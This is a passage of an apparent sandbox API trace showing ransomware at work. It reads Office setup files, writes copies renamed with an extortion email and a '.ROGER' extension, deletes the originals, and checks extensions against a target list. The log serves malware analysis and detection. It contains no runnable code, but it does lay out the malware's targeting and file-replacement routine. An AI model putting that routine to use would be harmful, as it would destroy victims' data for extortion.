Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.786] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0044.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.786] lstrlenW (lpString=".doc") returned 4 [0044.786] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.786] lstrlenW (lpString=".docx") returned 5 [0044.786] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.786] lstrlenW (lpString=".pdf") returned 4 [0044.786] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.786] lstrlenW (lpString=".xls") returned 4 [0044.786] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.786] lstrlenW (lpString=".xlsx") returned 5 [0044.786] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.787] lstrlenW (lpString=".ppt") returned 4 [0044.787] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.787] lstrlenW (lpString=".zip") returned 4 [0044.787] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.787] lstrlenW (lpString=".rar") returned 4 [0044.787] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString=".bz2") returned 4 [0044.787] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString=".7z") returned 3 [0044.787] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.787] lstrlenW (lpString=".dbf") returned 4 [0044.787] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.787] lstrlenW (lpString=".1cd") returned 4 [0044.787] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.787] lstrlenW (lpString=".jpg") returned 4 [0044.787] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.787] lstrlenW (lpString=".doc") returned 4 [0044.787] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString=".docx") returned 5 [0044.787] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.787] lstrlenW (lpString=".pdf") returned 4 [0044.787] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString=".xls") returned 4 [0044.787] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString=".xlsx") returned 5 [0044.787] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.788] lstrlenW (lpString=".ppt") returned 4 [0044.788] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.788] lstrlenW (lpString=".zip") returned 4 [0044.788] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.788] lstrlenW (lpString=".rar") returned 4 [0044.788] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString=".bz2") returned 4 [0044.788] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString=".7z") returned 3 [0044.788] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.788] lstrlenW (lpString=".dbf") returned 4 [0044.788] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.788] lstrlenW (lpString=".1cd") returned 4 [0044.788] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0044.788] lstrlenW (lpString=".jpg") returned 4 [0044.788] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.788] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.788] lstrlenW (lpString="SETUP.XML") returned 9 [0044.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.820] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1886) returned 1 [0044.820] CloseHandle (hObject=0x370) returned 1 [0044.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0044.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0044.832] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.834] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.839] GetLastError () returned 0x0 [0044.839] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x75e, lpOverlapped=0x0) returned 1 [0044.840] WriteFile (in: hFile=0x38c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x760, lpOverlapped=0x0) returned 1 [0044.841] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.841] WriteFile (in: hFile=0x38c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.841] SetEndOfFile (hFile=0x38c) returned 1 [0044.841] CloseHandle (hObject=0x38c) returned 1 [0044.841] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.842] SetEndOfFile (hFile=0x3a0) returned 1 [0044.842] CloseHandle (hObject=0x3a0) returned 1 [0044.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.842] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0044.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.843] lstrlenW (lpString=".doc") returned 4 [0044.843] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.843] lstrlenW (lpString=".docx") returned 5 [0044.843] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.843] lstrlenW (lpString=".pdf") returned 4 [0044.843] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.843] lstrlenW (lpString=".xls") returned 4 [0044.843] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.843] lstrlenW (lpString=".xlsx") returned 5 [0044.843] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.843] lstrlenW (lpString=".ppt") returned 4 [0044.843] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.843] lstrlenW (lpString=".zip") returned 4 [0044.843] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.843] lstrlenW (lpString=".rar") returned 4 [0044.843] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.843] lstrlenW (lpString=".bz2") returned 4 [0044.843] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.843] lstrlenW (lpString=".7z") returned 3 [0044.843] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.843] lstrlenW (lpString=".dbf") returned 4 [0044.843] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.843] lstrlenW (lpString=".1cd") returned 4 [0044.843] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.844] lstrlenW (lpString=".jpg") returned 4 [0044.844] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.844] lstrlenW (lpString=".doc") returned 4 [0044.844] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString=".docx") returned 5 [0044.844] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.844] lstrlenW (lpString=".pdf") returned 4 [0044.844] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString=".xls") returned 4 [0044.844] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString=".xlsx") returned 5 [0044.844] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.844] lstrlenW (lpString=".ppt") returned 4 [0044.844] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.844] lstrlenW (lpString=".zip") returned 4 [0044.844] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.844] lstrlenW (lpString=".rar") returned 4 [0044.844] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString=".bz2") returned 4 [0044.844] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString=".7z") returned 3 [0044.844] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.844] lstrlenW (lpString=".dbf") returned 4 [0044.844] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.844] lstrlenW (lpString=".1cd") returned 4 [0044.844] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0044.845] lstrlenW (lpString=".jpg") returned 4 [0044.845] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.845] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.845] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0044.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0044.845] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1452) returned 1 [0044.845] CloseHandle (hObject=0x3a0) returned 1 [0044.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0044.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0044.845] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.845] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.847] GetLastError () returned 0x0 [0044.847] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0044.849] WriteFile (in: hFile=0x38c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0044.849] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.849] WriteFile (in: hFile=0x38c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.850] SetEndOfFile (hFile=0x38c) returned 1 [0044.850] CloseHandle (hObject=0x38c) returned 1 [0044.850] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.850] SetEndOfFile (hFile=0x3a0) returned 1 [0044.851] CloseHandle (hObject=0x3a0) returned 1 [0044.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.851] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.851] lstrlenW (lpString=".doc") returned 4 [0044.851] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.851] lstrlenW (lpString=".docx") returned 5 [0044.851] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.851] lstrlenW (lpString=".pdf") returned 4 [0044.851] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.851] lstrlenW (lpString=".xls") returned 4 [0044.851] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.851] lstrlenW (lpString=".xlsx") returned 5 [0044.851] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.851] lstrlenW (lpString=".ppt") returned 4 [0044.851] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.852] lstrlenW (lpString=".zip") returned 4 [0044.852] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.852] lstrlenW (lpString=".rar") returned 4 [0044.852] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString=".bz2") returned 4 [0044.852] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString=".7z") returned 3 [0044.852] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.852] lstrlenW (lpString=".dbf") returned 4 [0044.852] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.852] lstrlenW (lpString=".1cd") returned 4 [0044.852] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.852] lstrlenW (lpString=".jpg") returned 4 [0044.852] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.852] lstrlenW (lpString=".doc") returned 4 [0044.852] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString=".docx") returned 5 [0044.852] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.852] lstrlenW (lpString=".pdf") returned 4 [0044.852] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString=".xls") returned 4 [0044.852] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString=".xlsx") returned 5 [0044.852] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.852] lstrlenW (lpString=".ppt") returned 4 [0044.852] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.852] lstrlenW (lpString=".zip") returned 4 [0044.853] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.853] lstrlenW (lpString=".rar") returned 4 [0044.853] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.853] lstrlenW (lpString=".bz2") returned 4 [0044.853] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.853] lstrlenW (lpString=".7z") returned 3 [0044.853] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.853] lstrlenW (lpString=".dbf") returned 4 [0044.853] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.853] lstrlenW (lpString=".1cd") returned 4 [0044.853] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.853] lstrlenW (lpString=".jpg") returned 4 [0044.853] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.853] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.853] lstrlenW (lpString="SETUP.XML") returned 9 [0044.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0044.853] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1872) returned 1 [0044.854] CloseHandle (hObject=0x3a0) returned 1 [0044.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0044.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0044.854] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.973] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.973] GetLastError () returned 0x0 [0044.973] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x750, 